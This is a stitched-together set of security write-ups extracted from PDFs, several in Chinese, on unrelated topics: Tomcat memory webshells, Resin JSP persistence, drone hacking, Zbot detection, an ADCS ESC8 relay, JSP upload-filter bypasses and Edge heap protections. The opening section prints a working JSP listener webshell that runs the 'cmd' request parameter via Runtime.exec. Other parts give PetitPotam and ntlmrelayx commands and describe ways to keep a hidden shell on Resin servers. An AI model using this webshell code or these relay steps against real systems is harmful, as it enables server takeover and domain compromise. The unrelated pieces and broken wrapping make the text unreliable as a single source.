listener Listener的介绍 1. Listener 的分类 tomcat 中 Listener 分为两类, org.apache.catalina.LifecycleListener 以及 java 原生的 Java.util.EvenListener ,其中 LifecycleListener 是为了监听 tomcat 的各个容器的生命周 期的,比如 StandardEngine , StandardHost , StandardContext , StandardWrapper 这些容 器的启动,关闭等等。这些监听处在的位置为容器启动,此时 servlet 未建立, request 请求未 创建,不适合用于创建内存马。所以此处使用 Java.util.EvenListener 的监听器。 2. Java.util.EvenListener 监听器 在 tomcat 中有较多的接口都继承自 EventListener 其中这些接口都有自己的生命周期,在不同的时段触发和销毁。以 ServletRequestListener 举 例,这个 Listener 用于监听 servletrequest 的创建和销毁,所以他的生命周期为: servletRequest 创建时初始化, servletRequest 销毁时销毁。接下来自己实现这个 servletRequestListener 接口,看看他对 servletRequest 的监听。 首先自定义一个 demoListener 类,实现 ServletRequestListener 接口。其中在 servletRequest 对象创建的时候往 request 和 ServletContext 中写入两个属性,然后在 servlet 中读取这个两个属性。 在 servlet 中获取这两个属性值并且打印。 注册 Listener 之后访问 servlet ,查看效果 可以看到在 servletRequest 对象创建的时候成功添加了两个属性,在 servlet 中也成功获取了 该属性 3. 其余监听器的作用 参考文章:Listener监听器生命周期 addListener 方法的实现 addListener 方法属于方法的重载,根据不同的参数列表来绝对调用哪一个。 java.org.apache.catalina.core.ApplicationContext#addListener(String className) 传递一个类名,然后会将类转换为 EventListener 类型,之后再自动调用 addListener(T t) 在匹配 t 是否为几个默认 listener 的一种之后,会通过 context.addApplicationEventListener 添加监听器。 注入Listener内存马 <%@ page import="java.text.DateFormat" %> <%@ page import="java.text.SimpleDateFormat" %> <%@ page import="java.util.Date" %> <%@ page import="java.util.EventListener" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <html> <head>    <meta charset="UTF-8"> </head> <body> <%    DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");    String dateStr = dateFormat.format(new Date()); %> <%= dateStr %> <%    class demoListener_ implements ServletRequestListener {        /**         * 在对象销毁的过程中获取参数,然后执行命令         * @param sre Information about the request         * @throws IOException         */        @Override        public void requestDestroyed(ServletRequestEvent sre) throws IOException, NoSuchFieldException, IllegalAccessException {            System.out.println("Request对象被销毁2");            HttpServletRequest httpRequest = (HttpServletRequest) sre.getServletRequest();            //因为此处没有直接获取到response对象,所以无法直接将结果输出,所以需要用反射获取 到response对象。            Field request1 = httpRequest.getClass().getDeclaredField("request");            request1.setAccessible(true);            Request request = (Request) request1.get(httpRequest);            String cmd= httpRequest.getParameter("cmd"); //通过servletrequest获取 参数            System.out.println(cmd);            if(cmd!=null && !cmd.equals("")){                Runtime runtime = Runtime.getRuntime();                InputStream inputStream = runtime.exec(cmd).getInputStream();                ByteArrayOutputStream outputStream = new ByteArrayOutputStream();                byte[] bytes = new byte[1024];                int a=-1;                while ((a=inputStream.read(bytes))!=-1){                    outputStream.write(bytes,0,a);               }                System.out.println(new String(outputStream.toByteArray()));                request.getResponse().getWriter().println(new String(outputStream.toByteArray()));           }else{                request.getResponse().getWriter().println(">||<");           }       }        @Override        public void requestInitialized(ServletRequestEvent sre) {            System.out.println("Request对象被创建2");       } 注入 Listener 内存马 执行命令获取返回结果。应为是用的 servletRequestListener ,所以此处访问任意请求都可以 触发 listener 注意的一个点:如何通过 Request 对象获取 Response 对象   } %> <%    //获取StandardCOntext(另外一种方法)    Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext context = (StandardContext) req.getContext();    //addApplicationEventListener直接创建listener    demoListener_ demoListener_ = new demoListener_();    context.addApplicationEventListener(demoListener_); %> </body> </html>
pdf
author: pen4uin 开始之前 这篇文章(笔记)理论上是在两个月前就应该完成的,由于前段时间手头活有点 多,就给落下了。 但是,最近因为疫情防控的原因,回了学校开始远程实习,而且我的秋招也差 不多算结束了,所以目前自我安排的时间相对来说毕竟富余。正好趁国庆小长假好好 把前4个月(HW — 现在)的笔记捋一捋、总结归档,也算是为这一年多的实习生活画 上一个句号,调整心态迎接下一段"社畜"生活的开始👀! Resin "特性" 问题描述 测试文件 "特性"场景 step1-上传文件 在写某微OA的文件上传漏洞的EXP时,发现上传jsp文件后,即使jsp文件自删除后仍然 可以访问(坑了我老半天时间去测试) # 文件内容 <%out.println(111111);new java.io.File(application.getRealPath(request.getServletPath())).d elete();%> # 效果 打印“111111”,然后删除自己 step2-验证文件(文件自删除) step3-再次访问,依然成功(此时硬盘上已无该jsp文件) 原理分析 在访问所上传的jsp文件后,会生成以下目录生成相关字节码 ecology\WEB-INF\work_jsp_formmode_apps_upload_ktree_images 字节码内容 /* * JSP generated by Resin-3.1.8 (built Mon, 17 Nov 2008 12:15:21 PST) */ package _jsp._formmode._apps._upload._ktree._images; import javax.servlet.*; import javax.servlet.jsp.*; import javax.servlet.http.*; public class _16266800368271276377871__jsp extends com.caucho.jsp.JavaPage {  private static final java.util.HashMap<String,java.lang.reflect.Method> _jsp_functionMap = new java.util.HashMap<String,java.lang.reflect.Method>();  private boolean _caucho_isDead;  public void  _jspService(javax.servlet.http.HttpServletRequest request,              javax.servlet.http.HttpServletResponse response)    throws java.io.IOException, javax.servlet.ServletException {    javax.servlet.http.HttpSession session = request.getSession(true);    com.caucho.server.webapp.WebApp _jsp_application = _caucho_getApplication();    javax.servlet.ServletContext application = _jsp_application;    com.caucho.jsp.PageContextImpl pageContext = _jsp_application.getJspApplicationContext().allocatePageContext(t his, _jsp_application, request, response, null, session, 8192, true, false);    javax.servlet.jsp.PageContext _jsp_parentContext = pageContext;    javax.servlet.jsp.JspWriter out = pageContext.getOut();    final javax.el.ELContext _jsp_env = pageContext.getELContext();    javax.servlet.ServletConfig config = getServletConfig();    javax.servlet.Servlet page = this;    response.setContentType("text/html");    try {      out.println(111111);new java.io.File(application.getRealPath(request.getServletPath())).d elete();   } catch (java.lang.Throwable _jsp_e) {      pageContext.handlePageException(_jsp_e);   } finally {  _jsp_application.getJspApplicationContext().freePageContext(page Context);   } }  private java.util.ArrayList _caucho_depends = new java.util.ArrayList();  public java.util.ArrayList _caucho_getDependList() {    return _caucho_depends; }  public void _caucho_addDepend(com.caucho.vfs.PersistentDependency depend) {    super._caucho_addDepend(depend);    com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend); }  public boolean _caucho_isModified() {    if (_caucho_isDead)      return true;    if (com.caucho.server.util.CauchoSystem.getVersionId() != 1886798272571451039L)      return true;    for (int i = _caucho_depends.size() - 1; i >= 0; i--) {      com.caucho.vfs.Dependency depend;      depend = (com.caucho.vfs.Dependency) _caucho_depends.get(i);      if (depend.isModified())        return true;   }    return false; }  public long _caucho_lastModified() {    return 0; }  public java.util.HashMap<String,java.lang.reflect.Method> _caucho_getFunctionMap() {    return _jsp_functionMap; }  public void init(ServletConfig config)    throws ServletException {    com.caucho.server.webapp.WebApp webApp      = (com.caucho.server.webapp.WebApp) config.getServletContext();    super.init(config); 更新时间:2021/09/30 以上内容都是当时(2021/07/19)随手记录的,由于时间过去蛮久,OA环境没了,所以 为了完成剩余部分的分析,我在本地起了一个resin3的demo进行分析复现。    com.caucho.jsp.TaglibManager manager = webApp.getJspApplicationContext().getTaglibManager();    com.caucho.jsp.PageContextImpl pageContext = new com.caucho.jsp.PageContextImpl(webApp, this); }  public void destroy() {      _caucho_isDead = true;      super.destroy(); }  public void init(com.caucho.vfs.Path appDir)    throws javax.servlet.ServletException {    com.caucho.vfs.Path resinHome = com.caucho.server.util.CauchoSystem.getResinHome();    com.caucho.vfs.MergePath mergePath = new com.caucho.vfs.MergePath();    mergePath.addMergePath(appDir);    mergePath.addMergePath(resinHome);    com.caucho.loader.DynamicClassLoader loader;    loader = (com.caucho.loader.DynamicClassLoader) getClass().getClassLoader();    String resourcePath = loader.getResourcePathSpecificFirst();    mergePath.addClassPath(resourcePath);    com.caucho.vfs.Depend depend;    depend = new com.caucho.vfs.Depend(appDir.lookup("formmode/apps/upload/ktree/i mages/16266800368271276377871.jsp"), -2891742427730004885L, false);    com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend); } } 情景再现 环境部署 IDEA Resin 3 Java 1.8 index.jsp ,hidden_shell.jsp 环境测试 中途换了环境,项目文件可能对不上,师傅们看后面的分析和利用思路即可 测试文件 hidden_shell.jsp 访问前 <%out.println("pen4uin");new java.io.File(application.getRealPath(request.getServletPath())).d elete();%> 访问后 此时文件hidden_shell.jsp已从硬盘中删除,尝试再次访问 可以发现,依旧访问成功,到这里这个demo效果算是成功复现了之前的"特性"场景。 源码分析 多次测试后发现resin在以下目录生成对应的Servlet源码和编译后的.class字节码文件 WEB-INF/work/_jsp 文件内容 /* * JSP generated by Resin-3.1.15 (built Mon, 13 Oct 2014 06:45:33 PDT) */ package _jsp; import javax.servlet.*; import javax.servlet.jsp.*; import javax.servlet.http.*; public class _hidden_0shell__jsp extends com.caucho.jsp.JavaPage {  private static final java.util.HashMap<String,java.lang.reflect.Method> _jsp_functionMap = new java.util.HashMap<String,java.lang.reflect.Method>();  private boolean _caucho_isDead;  public void  _jspService(javax.servlet.http.HttpServletRequest request,              javax.servlet.http.HttpServletResponse response)    throws java.io.IOException, javax.servlet.ServletException {    javax.servlet.http.HttpSession session = request.getSession(true);    com.caucho.server.webapp.WebApp _jsp_application = _caucho_getApplication();    javax.servlet.ServletContext application = _jsp_application;    com.caucho.jsp.PageContextImpl pageContext = _jsp_application.getJspApplicationContext().allocatePageContext(t his, _jsp_application, request, response, null, session, 8192, true, false);    javax.servlet.jsp.PageContext _jsp_parentContext = pageContext;    javax.servlet.jsp.JspWriter out = pageContext.getOut();    final javax.el.ELContext _jsp_env = pageContext.getELContext();    javax.servlet.ServletConfig config = getServletConfig();    javax.servlet.Servlet page = this;    response.setContentType("text/html");    try {      out.println("pen4uin");new java.io.File(application.getRealPath(request.getServletPath())).d elete();      out.write(_jsp_string0, 0, _jsp_string0.length);   } catch (java.lang.Throwable _jsp_e) {      pageContext.handlePageException(_jsp_e);   } finally {  _jsp_application.getJspApplicationContext().freePageContext(page Context);   } }  private java.util.ArrayList _caucho_depends = new java.util.ArrayList();  public java.util.ArrayList _caucho_getDependList() {    return _caucho_depends; }  public void _caucho_addDepend(com.caucho.vfs.PersistentDependency depend) {    super._caucho_addDepend(depend);    com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend); }  public boolean _caucho_isModified() {    if (_caucho_isDead)      return true;    if (com.caucho.server.util.CauchoSystem.getVersionId() != 6749855747778707107L)      return true;    for (int i = _caucho_depends.size() - 1; i >= 0; i--) {      com.caucho.vfs.Dependency depend;      depend = (com.caucho.vfs.Dependency) _caucho_depends.get(i);      if (depend.isModified())        return true;   }    return false; }  public long _caucho_lastModified() {    return 0; }  public java.util.HashMap<String,java.lang.reflect.Method> _caucho_getFunctionMap() {    return _jsp_functionMap; }  public void init(ServletConfig config)    throws ServletException {    com.caucho.server.webapp.WebApp webApp      = (com.caucho.server.webapp.WebApp) config.getServletContext();    super.init(config);    com.caucho.jsp.TaglibManager manager = webApp.getJspApplicationContext().getTaglibManager();    com.caucho.jsp.PageContextImpl pageContext = new com.caucho.jsp.PageContextImpl(webApp, this); }  public void destroy() {      _caucho_isDead = true;      super.destroy(); 为了方便跟进相关方法,导入lib目录下的依赖,终于不报❌了 }  public void init(com.caucho.vfs.Path appDir)    throws javax.servlet.ServletException {    com.caucho.vfs.Path resinHome = com.caucho.server.util.CauchoSystem.getResinHome();    com.caucho.vfs.MergePath mergePath = new com.caucho.vfs.MergePath();    mergePath.addMergePath(appDir);    mergePath.addMergePath(resinHome);    com.caucho.loader.DynamicClassLoader loader;    loader = (com.caucho.loader.DynamicClassLoader) getClass().getClassLoader();    String resourcePath = loader.getResourcePathSpecificFirst();    mergePath.addClassPath(resourcePath);    com.caucho.vfs.Depend depend;    depend = new com.caucho.vfs.Depend(appDir.lookup("hidden_shell.jsp"), -6255599602487315324L, false);    com.caucho.jsp.JavaPage.addDepend(_caucho_depends, depend); }  private final static char []_jsp_string0;  static {    _jsp_string0 = "\r\n".toCharArray(); } } 分析: Class Depend 作用:主要是检查文件的修改状态(修改、删除、版本变化等) 从以上代码大致可以得到以下小结: // 参数requireSource 标记jsp文件是否被删除的状态 public Depend(Path source, long digest, boolean requireSource) requireSource 为True 如果jsp文件被删除,404 requireSource 为false 如果已编译的jsp文件被删除,resin并不care该jsp文件的"生 死存亡" 目录/WEB-INF/work/_jsp/下关键部分源码 个人理解: 当访问hidden_shell.jsp后(相当于启动一个Servlet),此时resin在会调用init()方 法,接着又在init()方法中实例化了Depend类并调用了其构造函数Depend(),用于 检查jsp文件的修改情况。 而从自动生成的Servlet源码和编译后的.class字节码中可以发现,参数 requireSource 默认为 false,所以当已编译(被访问过)的jsp文件被删除后,resin并 不会判断该jsp文件已被修改,自然也就还会执行该jsp文件对应的字节码了。 关于利用 笔者刚接触Java,目前了解得还比较浅,暂时脑海里浮现的只有以下思路。 01 Bypass 静态检测? 场景设立 xxx在某次演练中,遇到了Resin应用服务器上部署了一套业务系统,存在文件上 传漏洞,但是有安全防护。 安全防护:限制jsp后缀 —> 检测文件后缀名,如果不符合后缀条件将被删除 利用思路 # 条件竞争 Burp拦截上传包,用intruder模块不断发送上传shell的请求,只要能访问到一次 jsp文件,那么就会在/WEB-INF/work/_jsp/目录下生成对应的Servlet源码/.class字 节码文件。 02 权限维持? 场景设立 xxx在某次演练中,通过某漏洞拿下1台部署了Resin应用服务器的主机,需要做 留个webshell做权限维持。 利用思路 可以在本地搭建与之对应的环境,"伪造" 1份被成功访问后生成的相关文件,然 后放在目标服务器的相关目录(/WEB-INF/work/_jsp/)下。(个人觉得理论上可 行,未测试)
pdf
David Meléndez Cano David Meléndez Cano R&D Embedded Systems Engineer @taiksontexas Taiksonprojects.blogspot.com Project “The Interceptor”: Owning anti-drone systems with nanodrones David Meléndez Cano @TaiksonTexas ● R&D Embedded Software Engineer in Albalá Ingenieros, S.A. Spain ● Author of the robots: "Atropos" & "Texas Ranger" ● Author of the Book "Hacking con Drones" ● "Reincident" speaker ● Trainiac David Meléndez Cano @TaiksonTexas ● R&D Embedded Software Engineer in Albalá Ingenieros, S.A. Spain ● Author of the robots: "Atropos" & "Texas Ranger" ● Author of the Book "Hacking con Drones" ● "Reincident" speaker ● Trainiac David Meléndez Cano @TaiksonTexas ● R&D Embedded Software Engineer in Albalá Ingenieros, S.A. Spain ● Author of the robots: "Atropos" & "Texas Ranger" ● Author of the Book "Hacking con Drones" ● "Reincident" speaker ● Trainiac David Meléndez Cano @TaiksonTexas ● R&D Embedded Software Engineer in Albalá Ingenieros, S.A. Spain ● Author of the robots: "Atropos" & "Texas Ranger" ● Author of the Book "Hacking con Drones" ● "Reincident" speaker ● Trainiac @taiksontexas @taiksontexas Previously in DEFCON... @taiksontexas Previously in DEFCON... @taiksontexas Drones as a threat ● Flying computers. (IoT over your head.) ● Custom payloads: – Sniffers – Jammers – Network Analyzers – 3d mapping, cameras. – Physical attacks, explosives. – ... @taiksontexas Detection ● Thermal and standard cameras – A.I. to detect drone shape – Electronics and motor heat detection ● Characterization of drone noise ● Detected Radio Frequency and waveform – Radio signature @taiksontexas “Voluntary” measures ● No-fly zone controlled by onboard GPS and Autopilots ● Real time telemetry transmission to COPS ● Give to COPS the ability to take down your drone and “everything will be alright” @taiksontexas Counter-Countermeasures ● Spread-spectrum ● Frequency hopping ● Use unespected frequencies by the jammer ● Robust protocols @taiksontexas First Round: “ATROPOS” Dron ATROPOS ● WiFi Router ● PIC16F876 for PWM ● Wii Nunckuck and Motion + as onboard IMU ● HTML5 telemetry by router webserver ● WiFi comm. ● WPS Attacks with bully @taiksontexas First Round: “ATROPOS” Dron ATROPOS ● WiFi Router ● PIC16F876 for PWM ● Wii Nunckuck and Motion + as onboard IMU ● HTML5 telemetry by router webserver ● WiFi comm. ● WPS Attacks with bully @taiksontexas First Round: “ATROPOS” Dron ATROPOS ● WiFi Router ● PIC16F876 for PWM ● Wii Nunckuck and Motion + as onboard IMU ● HTML5 telemetry by router webserver ● WiFi comm. ● WPS Attacks with bully @taiksontexas First Round: “ATROPOS” Dron ATROPOS ● WiFi Router ● PIC16F876 for PWM ● Wii Nunckuck and Motion + as onboard IMU ● HTML5 telemetry by router webserver ● WiFi comm. ● WPS Attacks with bully @taiksontexas Now, what else? “We count thirty Rebel ships, Lord Vader... ...but they're so small they're evading our turbolasers” @taiksontexas Project “The Interceptor” @taiksontexas Project “The Interceptor” ● Minimum size and weight (harder to detect) ● Low budget (no, seriously, really low) ~$40 + $20 with SDR ● Hacking capabilities ● “Resilient” control @taiksontexas Project “The Interceptor” @taiksontexas Vocore2 @taiksontexas Vocore2 @taiksontexas Vocore2: PWM ● We need to generate x4 PWM signals to control the motors – Hard real time constrained. Need specific HW. ● x4 channels available, but only 2 enabled ● Last two overlap with UART2 function – Disable UART2 in devicetree – Enable PWMx4 in devicetree @taiksontexas Vocore2: PWM in the forum Random guy Q: ¿How can I enable all PWM? @taiksontexas Vocore2: PWM in the forum Random guy Q: ¿How can I enable all PWM? @taiksontexas Vocore2: PWM in the forum Random guy Q: ¿How can I enable all PWM? @taiksontexas Vocore2: PWM in the forum Random guy Q: ¿How can I enable all PWM? @taiksontexas Vocore2: PWM (pinmux) ./target/linux/ramips/dts/mt7628an.dtsi @taiksontexas Vocore2: PWM (pinmux) Pinmux redefinition ADC chip declaration Present in I2C for battery Disabled UART2 Enabled all 4 PWM @taiksontexas Vocore2: pinmux mt7628 (datasheet) @taiksontexas Power stage ● Brushed motors (cheap as hell) ● X1 MOSFET ● X1 Capacitor ● X1 Schottky diode @taiksontexas Electrical motor behaviour @taiksontexas PID tunning @taiksontexas Interceptor WiFi architecture JOYSTICK 802.11 beacon injection DRONE control AES encryption telemetry WEB interface Change channel management AES decryption 802.11 beacon sniffing Websocket 802.11 beacon sniffing AES decryption Websocket 802.11 beacon injection Flight control And change channel management AES encryption PILOT SIDE AIRCRAFT SIDE Header AP “INTERCEPTOR INTERCEPTOR” COMMAND Preamble Gas Pitch Roll Yaw SEQUENCE NUMBER SHA256 INITIALIZATION VECTOR Forged Beacon Frame injec-on (PILOT SIDE) AES-128 BEACON FRAME PAYLOAD BEACON FRAME PAYLOAD HEADER Interceptor WiFi architecture @taiksontexas Interceptor WiFi architecture PILOT DRONE My channel: 13; Target channel:12 My channel: 12; Target channel:11 My channel: 11; Target channel:10 My channel: 12 CH:13 CH:13 CH:12 CH:12 CH:11 My channel: 11 CH:11 Etc... @taiksontexas YAW Indicator Sequence number “Ultimate target” channel Current/target Channel Pitch/roll Indicator WiFi mode: monitor or mon+sta/ap ADC in voltage Audit console/camera MOTOR PWM LEVELS @taiksontexas Fallback FM based TX ● For a WiFi complete jamming scenario ● Transmit with an arbitrary frequency ● Demo in FM band ● Transmitting in illegal frequencies are the least problem for bad guys ● Rpi radio transmission causes harmonics. Really a problem? @taiksontexas Fallback FM based TX http://asliceofraspberrypi.blogspot.com/2014/10/generating- radio-frequencies-using.html @taiksontexas Fallback FM based TX JOYSTICK Pilot (RPI) FSK modulation RF format conversion FM modulated transmission GPIO 4 bytes packet DRONE SDR FM capture control Wav audio conversion FSK demodulation 4 byte For flight control Connected to antenna When timeout @taiksontexas David Meléndez Cano David Meléndez Cano R&D Embedded Systems Developer @taiksontexas Taiksonprojects.blogspot.com Acknowledges: José Manuel Hernández Jesús Fernández Javier Hernández Vicente Polo Daniel Iglesias Adrian Aznar Thank you!
pdf
Malicious CDNs: Identifying Zbot Domains en Masse via SSL Certificates and Bipartite Graphs Dhia Mahjoub and Thomas Mathew Overview • The goal of this talk is to provide a series of simple statistical methods that allow a researcher to identify ZBot domains using SSL data • All of the data discussed is open source and can be obtained at scans.io/study/sonar.ssl (thanks rapid7!) SSL • Secure Socket Layer • Method of encrypting traffic over HTTP • Increase in websites employing SSL SSL (cont) • Interested in the x509 certificate • Contains information regarding the issuer, subject, creation date, etc • Each certificate associated with IP(s) • x509 contain a CommonName field which can be either blank or contain an alphanumeric string • Our interest is in CommonNames that are valid domain names SSL (Cont) • x509 certificates reveal valuable network information • Maps relationship between domestic vs commercial IP space • Gives information regarding ownership of a particular IP SSL (Cont) CDNs, SSL, Zbot? • CDNs serve as content delivery for popular domains • CDNs help establish similar connections to a domain by hosting identical x509 certificates or x509 certificates with the same common name • In recent times Zbot has attempted to use its network of hacked machines as CDN for malicious actors (hosts carding forums, trojans, etc) • Can we use SSL data to help us identify Zbot? Sonar Data • 2x or 4x monthly scan of the entire IPv4 IP space • x509 —> IP pairing • Sampled data because of restrictions Sonar Data • Longitudinal study of Sonar SSL data. Examine hosting patterns over a 5 month time period • Hope to identify anomalous behavior Sonar Data • Table documents the number of SHAs and CommonNames per month • Manually infeasible Unique SHAs Unique Common Names JAN 1,068,402 850,236 FEB 692,542 589,609 MARCH 977,484 813,773 APRIL 249,252 233,834 MAY 1,098,914 958,321 Investigation • Data easier to work with if it has a natural structure • What structure naturally captures this type of data? Investigation • Graphs can be used to model network data • We will work with bipartite graphs • A bipartite graph is a graph whose vertices can be split into two disjoint sets Bipartite Graphs • Two sets: • Common Names • ASNs • Could create a bipartite graph between CommonName —> IP, etc • Choose ASN because provides best resolution to analyze the data Bipartite Graph • Multiple methods of analyzing the graph: • Graph factorization • Identify minimum connected components • Extract minimum spanning tree Graph Analytics • Our interest is in anomalous substructures within the graph • Examining out degree of CommonNames to discover anomalies • Plot histogram of graph degree counts Graph Analytics • Histogram shows that there are a few outliers in the tail • Majority of the domains bounded between 1-200 • These outliers are expected. google and dlink would be widely distributed domain names across IP space Popular Graphs • Goal: Create a measure of popularity for each CommonName • Have it based on topological features of the bipartite graph • Calculate frequencies of what type of ASNs host each common name Popular Graphs • Two different types of histogram distribution • naranyamarket.com is found on some extremely popular ASNs Filters for Anomaly Detection • We want a filter that is more sensitive to ‘low frequencies’ • Fits our hypothesis regarding hosting patterns of popular domains • To create such a filter we increase the number of bands in the lower frequency spectrum (ie 1-5 domains map to an ASN). Filters for Anomaly Detection • Bucket the frequencies into 9 different bands. • ie 1-5, 5-10, 10-20, 20-50, 50-100, 1000-2000, etc • notice the higher resolution for lower frequencies • Each domain is then associated with a 9-d vector Filters for Anomaly Detection • Use the following algorithm: • Split CommonNames by increments of 10. • Within each of these groups create the distance matrix (n x n) between each pairwise CommonName using the Euclidean norm • Calculate the norm for each column vector Algorithm Results • This is the result from a particularly interesting interval (110-110) • The histogram clearly shows a significant outlier (more than 2 std away) • The outlier in the high band was ‘tangerine-secure.com’ which we ended up verifying as a ZBot domain Algorithm Results • Another interesting band is the 30-40 ASN range • Much tighter spectrum of results • The tail end of the histogram contains interesting domains Algorithm Results • Out of these 5 domains - three are ZBot (meenyousecu.com, securedatassl.net, secure.tangerineaccess.com’) • Identified via further probing • This anomaly detection method was able to reduce ~500k domains down to a manageable list of 8 domains • Gave us actionable intelligence regarding which ASNs to monitor more closely
pdf
ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持ntlm认证。 默认即存在 下面开始攻击复现,首先我们需要搭建一个辅助域控 勾选域服务 安装即可,同理设置为域控 选择添加到现有域 选择从主域复制 重启后测试: 下面即可开始攻击。 1 python3 Petitpotam.py ‐u '' ‐d '' ‐p '' "ntlmrelay address" "DC02 addres s" 1 ntlmrelayx.py ‐t http://adcs/certsrv/certfnsh.asp ‐smb2support ‐‐adcs ‐‐t emplate 'DCTest' 获取到证书 然后使用证书请求DC02$的票据 获取票据成功 mimikatz进行dcsync 然后进行pth攻击,获取域控权限 出现错误的话可以参考:https://github.com/SecureAuthCorp/impacket/pull/1101
pdf
1 ⼀次jsp上传绕过的思考 背景 解决⽅案 jsp利⽤EL表达式绕过 jspx利⽤命名空间绕过 jspx利⽤<jsp:expression>绕过 @yzddmr6 前⼏天有个⼩伙伴做项⽬的时候遇到⼀个问题来问我,⼤概情况如下: 1. jsp的站,可以任意⽂件上传 2. 上传jsp会把<%中的<给转义掉 3. 上传jspx会把<jsp:scriptlet>到</jsp:scriptlet>中的内容替换为空 问有什么突破办法? 背景 2 当时研究了⼀下后jsp和jspx各给了⼀个解决⽅案,发到星球⾥后@hosch3n师傅⼜给了⼀种⽅案,tql 其实问题等价于: 1. jsp不使⽤<% %>标签如何执⾏命令 2. jspx不使⽤<jsp:scriptlet> </jsp:scriptlet>如何执⾏命令 解决⽅案 3 jsp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执⾏,这样就可以绕过jsp的限制。 星球⾥⾯@Gh0stFx也提到了这⼀点 因为jspx实际上是jsp的xml写法,所以继承了xml的所有特性,例如cdata跟html实体编码等,同样也继承 了命名空间的特性。 https://www.runoob.com/xml/xml-namespaces.html jsp利⽤EL表达式绕过 jspx利⽤命名空间绕过 4 在<jsp:scriptlet>这个标签中,jsp就是默认的命名空间,但是实际上可以随意替换成其他名字 这样就绕过了对<jsp:scriptlet>的过滤 在jsp中可以利⽤表达式绕过,那么jspx中同样也可以,以下是jsp跟jspx语法的对照: jspx利⽤<jsp:expression>绕过 JSP语法 JSP document语法 Page Directive <%@ page %> <jsp:directive.page /> 5 这个⽅法是@hosch3n师傅提出来的,把表达式写到jspx中,同样可以达到执⾏命令的⽬的 Include Directive <%@ include %> <jsp:directive.include /> Tag Library Directive <%@ taglib %> xmlns:prefix=”Library URI” Declartion <%! … %> <jsp:declaration> … </jsp:declaration> Scriplet <% … %> <jsp:scriptlet> … </jsp:scriptlet> Expression <%= … %> <jsp:expression> … </jsp:expression> Comment <%-- … --%> <!--  …  -->
pdf
Spartan 0day & Exploit exp-sky who am i • Tencent’s Xuanwu Lab • The security of browser • Vulnerability discovery • Exploit technique • APT attacks detection Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A Isolation Heap //init heapHandle = HeapCreate(0, 0, 0); g_hIsolatedHeap = heapHandle; //use struct CElement* CButton::CreateElement(CHtmTag *a1, CDoc *a2) { void *mem = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x5Cu); if ( Abandonment::CheckAllocationUntyped(mem) ) result = CButton::CButton(*((_DWORD *)a1 + 1), a2); else result = 0; return result; } Use Isolation Heap Alloc Memory Check Isolation Heap Isolated Heap Process Heap UAF Object Outer Object Use Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A Memory Protection Memory Protection Heap UAF Object Not free Outer Object Not use Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A Spartan Memory Manage • New Mode MemoryGC • init : chakra!MemProtectHeapCreate • alloc : chakra!MemProtectHeapRootAlloc • free : chakra!MemProtectHeapUnrootAndZero Spartan Memory Manage • New Mode //init MemoryProtection::InitializeProtectionFeature |-MemoryProtection_Mode = 3; |-MemoryProtection::CMemoryGC::InitializeFeature |-chakra!MemProtectHeapCreate Spartan Memory Manage • New Mode MemoryProtection::ReportHeapSize MemoryProtection::HeapAlloc<0> MemoryProtection::HeapAllocClear<0> MemoryProtection::HeapAlloc<1> MemoryProtection::HeapAllocClear<1> MemoryProtection::HeapReAlloc<1> MemoryProtection::HeapReAlloc<0> MemoryProtection::InitializeProtectionFeature Spartan Memory Manage • New Mode //alloc MemoryProtection::HeapAllocClear<1> |-MemoryProtection_Mode |- 0,1,2 : HeapAlloc Isolation |- 3 : chakra!MemProtectHeapRootAlloc |- Memory::Recycler Spartan Memory Manage • New Mode //free MemoryProtection::HeapFree |-MemoryProtection_Mode |- 0 : HeapFree |- 1,2 : MemoryProtection::CMemoryProtector::ProtectedFree |- 3 : chakra!MemProtectHeapUnrootAndZero //MemGC MemProtectThreadContext::Collect |- MemProtectHeap::Collect |-Memory::Recycler::DoCollectWrapped |-Memory::Recycler::DoCollect |-Memory::Recycler::CollectionBegin |-Memory::Recycler::Mark |-Memory::Recycler::Sweep |-Memory::Recycler::CollectionEnd |-Memory::Recycler::FinishCollection Spartan Memory Manage • MemoryAlloc //create struct CElement* CButton::CreateElement(CHtmTag *a1, CDoc *a2) { void *mem = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x5Cu); if ( Abandonment::CheckAllocationUntyped(mem) ) result = CButton::CButton(*((_DWORD *)a1 + 1), a2); else result = 0; return result; } Spartan Memory Manage • MemoryFree //delete void * __thiscall CButton::`vector deleting destructor’() { CElement::~CElement(); MemoryProtection::HeapFree(_g_hIsolatedHeap,this); } Spartan Memory Manage • New Mode MemGC Render render_object render_object render_object Script Memory::Recycler script_object script_object script_object Spartan Memory Manage • Isolation Heap? var i = document.createElement(“iframe”); eax=1121fc00 ebx=62412180 ecx=1121fc00 edx=1072a054 esi=61d87d28 edi=05b0c278 eip=624121b5 esp=05b0c260 ebp=05b0c268 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 EDGEHTML!CIFrameElement::CIFrameElement: 624121b5 8bff mov edi,edi i = null; CollectGarbage(); memory(); //area.coords 0:024> dd 1121fc00 1121fc00 0000000d 0c0c0c0c 0c0c0c0c 0c0c0c0c 1121fc10 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 1121fc20 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 1121fc30 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c Spartan 0day & Exploit • 1、Isolation Heap • 